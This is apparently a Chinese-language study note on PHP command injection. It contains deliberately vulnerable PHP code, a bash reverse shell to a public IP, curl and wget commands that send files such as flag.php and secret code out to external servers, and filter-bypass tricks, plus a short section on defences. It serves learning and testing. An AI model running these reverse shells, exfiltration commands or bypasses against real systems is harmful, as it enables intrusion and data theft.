命令執(zhí)行學(xué)習(xí)
一、編寫存在命令注入的代碼
1.windows環(huán)境
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
?>
測試:http://127.0.0.1/1.php?ip=|net user

命令執(zhí)行相關(guān)的函數(shù);
|
system() |
system函數(shù)可執(zhí)行并直接顯示結(jié)果 |
|
passthru() |
執(zhí)行有回顯,將執(zhí)行結(jié)果輸出到頁面上 |
|
exec() |
執(zhí)行無回顯,默認返回最后一行結(jié)果 |
|
shell_exec() |
默認無回顯,通過 echo 可將執(zhí)行結(jié)果輸出到頁面 |
|
popen() |
函數(shù)需要兩個參數(shù),一個是執(zhí)行的命令command,另外一個是指針文件的連接模式mode,有r和w代表讀和寫。 函數(shù)不會直接返回執(zhí)行結(jié)果,而是返回一個文件指針,但是命令已經(jīng)執(zhí)行。 |
|
` ` |
反引號里面的代碼也會被當作OS命令來執(zhí)行 |
命令執(zhí)行漏洞有時候要搭配管道符來進行實現(xiàn),下面是Windows下的管道符
| 直接執(zhí)行|后面的命令 || 如果前面的語句執(zhí)行出錯,則執(zhí)行后面的語句,前面的語句只能為假 & 如果前面的語句為假,則直接執(zhí)行后面的語句,前面的語句可真可假 && 如果前面的語句為假,則直接出錯,也不執(zhí)行后面的語句,前面的語句只能為真
2.Linux環(huán)境
<?php
if (isset($_GET['cmd']))
{
echo "<pre>";
system($_GET['cmd']); //在URL中給cmd賦值就可以執(zhí)行不同的命令了
}
else
{
echo "?cmd=null";
}
?>
測試:

二、命令執(zhí)行的利用
1.有回顯
- 獲取敏感數(shù)據(jù)
- 獲取當前操作系統(tǒng)版本和內(nèi)核信息
- 獲取當前用戶名和密碼
2.無回顯
(1)如果無回顯,如何判斷注入的命令是否執(zhí)行?
- 延時:cmd=ls|sleep 5(linux)或者ping -n 3 127.0.0.1(windows)
- DNS獲取回顯:cmd=curl `命令`.域名
- 反彈shell
自己公網(wǎng)服務(wù)器nc -vv -lp 8888
目標服務(wù)器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1
(2)確定了命令執(zhí)行了,如何把執(zhí)行結(jié)果,或者文件帶出來?
Burp的Collaborator Client工具


復(fù)制burp工具的鏈接 http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
執(zhí)行如下命令:
cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
然后在burp查看結(jié)果
curl命令:
cURL是用于使用各種協(xié)議傳輸數(shù)據(jù)的庫和命令行工具,并且是用于數(shù)據(jù)滲透的非常有用的工具。如果易受攻擊的服務(wù)器具有cURL,我們可以使用它來將文件發(fā)送到惡意Web服務(wù)器或使用其他協(xié)議(例如FTP / SCP / TFTP / TELNET等)傳輸文件。
一旦發(fā)現(xiàn)了OS命令注入漏洞,可以使用以下命令將文件的內(nèi)容發(fā)送到我們的web服務(wù)器:
cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
示例:http;//127.0.0.1/1.php?cmd=ifconfig | cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
wget讀取源代碼
wget –post-data exfil=`cat /data/secret/secretcode.txt`&b=1 http://xxx.xxx.xxx.xxx:xxxx
wget可以使用post-data參數(shù)發(fā)送post請求
上面命令的意思就是在目標服務(wù)器讀取/data/secret/secretcode.txt文件內(nèi)容作為post數(shù)據(jù),然后上傳到自己的服務(wù)器
wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx
而post-file參數(shù)則是為了將文件上傳到自己的服務(wù)器,可以用來讀取源代碼文件。
三、如何防御
- 用正則表達式匹配用戶輸入的危險命令
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
- 減少或不使用代碼或命令執(zhí)行函數(shù)
- 客戶端提交的變量在放入函數(shù)前進行檢測
- 減少或不使用危險函數(shù)
- 在用戶的輸入會影響命令執(zhí)行的情兄下,應(yīng)將用戶輸入限制為從預(yù)定的安全命令集合中進行選擇。如果輸入中出現(xiàn)了惡意的內(nèi)容傳遞到命令執(zhí)行函數(shù)的值將默認從安全命令集合中選擇,或者程序?qū)⒕芙^執(zhí)行任何命令。
常見繞過:
- 在windows環(huán)境下,命令可以不區(qū)分大小寫
whoami //正常執(zhí)行 w"h"o"a"m"i //正常執(zhí)行 w"h"o"a"m"i" //正常執(zhí)行 wh""o^a^mi //正常執(zhí)行 wh""o^am"i //正常執(zhí)行 ((((Wh^o^am""i))))//正常執(zhí)行
linux下
wh\oami wh$1oami who$@ami whoa$*mi
- 雙引號過濾
- 變量拼接
windows
set a=who set b=ami %a%%b%//正常執(zhí)行whoami set a=w""ho set b=a^mi %a%%b%//根據(jù)前一知識點進行組合,正常執(zhí)行whoami set a=ser&&set b=ne&&set c=t u && call %b%%c%%a% //在變量中設(shè)置空格,最后調(diào)用變量來執(zhí)行命令
linux
t=l; j=s; i=" -al"; $t$j$i a=who b=ami $a$b
- 在linux下我們還可以使用大花括號來繞過空格的限制,比如ls -alt命令中間的空格,{ls,-alt}
- 或者在Linux下使用通配符去匹配文件。

浙公網(wǎng)安備 33010602011771號